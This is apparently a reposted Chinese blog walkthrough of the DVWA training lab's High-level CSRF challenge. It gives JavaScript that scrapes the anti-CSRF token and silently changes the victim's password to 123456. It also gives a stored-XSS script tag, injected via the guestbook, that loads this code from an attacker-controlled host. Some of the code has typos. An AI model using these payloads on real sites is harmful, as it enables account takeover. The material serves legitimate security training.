DVWA中CSRF高级

(1)访问CSRF页面,在页面的源代码中可以看到生成的Token

<form action="#" method="GET">
            New password:<br />
            <input type="password" AUTOCOMPLETE="off" name="password_new"><br />
            Confirm new password:<br />
            <input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
            <br />
            <input type="submit" value="Change" name="Change">
            <input type='hidden' name='user_token' value='9eed4c773cd578ed263facc427c1fb78' />
        </form>

(2)再次访问CSRF页面Token值发生了变化,可以确定DVWA生成Token的机制是每次不一样/

(3)过关的核心在于要发送请求给

http://192.168.112.188/dvwa/vulnerabilities/csrf/

页面,然后从相应中取得Token(通过正则表达式提取)取得后在将Token和新密发一起发送给

http:192.168.112.188/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change

页面完成密码修改

(4)先构造一个Javascript原生代码发送AJAX请求的代码

var tokenUrl='http://192.168.112.188/dvwa/vulnerabilities/csrf/';
var count = 0;
//实例化XMLHttpRequest,用于发送AJAX请求
xmlhttp = new XMLHttpRequest();
//当请求状态发生变化时,触发执行代码
xmlhttp.onreadystatechange = function(){
    //状态码0:请求未初始化,1:服务器连接已建立,2请求已接收,3请求处理中,4请求已完成,且相应已就绪
    if(xmlhttp.readyState == 4&&xmlhttp.status == 200)
    {
        //取得请求的响应,并从响应中通过正则提取Token
        var text = xmlhttp.responesText;
        var regex = /user_token\'value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        //alert(match[1]);
        var token = match[1];
        //发送修改密码的语法
        var changeUrl='http:192.168.112.188/dvwa/vulnerabilities/csrf/?user_token='+token+'&                    password_new=123456&password_conf=123456&Change=Change';
        if(count == 0){
            count = 1; //只发送一次,否则会多次发送
            xmlhttp.open("GET",changeUrl,false); //false代表同步方式发送
            xmlhttp.send();
        }
    }
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();

将上述代码放置在攻击服务器上

想办法将上述JS代码嵌入到被攻击者服务器上即可完成。(High级别无法实现)

<script src="http://192.168.112.183/csrf.js"></script>

在high级别中,屏蔽了<script>标签,所以无法直接利用。

处理方式:先切换到Low级,在留言本里注入以下脚本,然后在切换到High级,直接触发改密

<script src="http://192.168.112.183/csrf.js"></script>

扫描二维码关注公众号,回复: 17076234 查看本文章

猜你喜欢

转载自blog.csdn.net/m0_73896875/article/details/131668812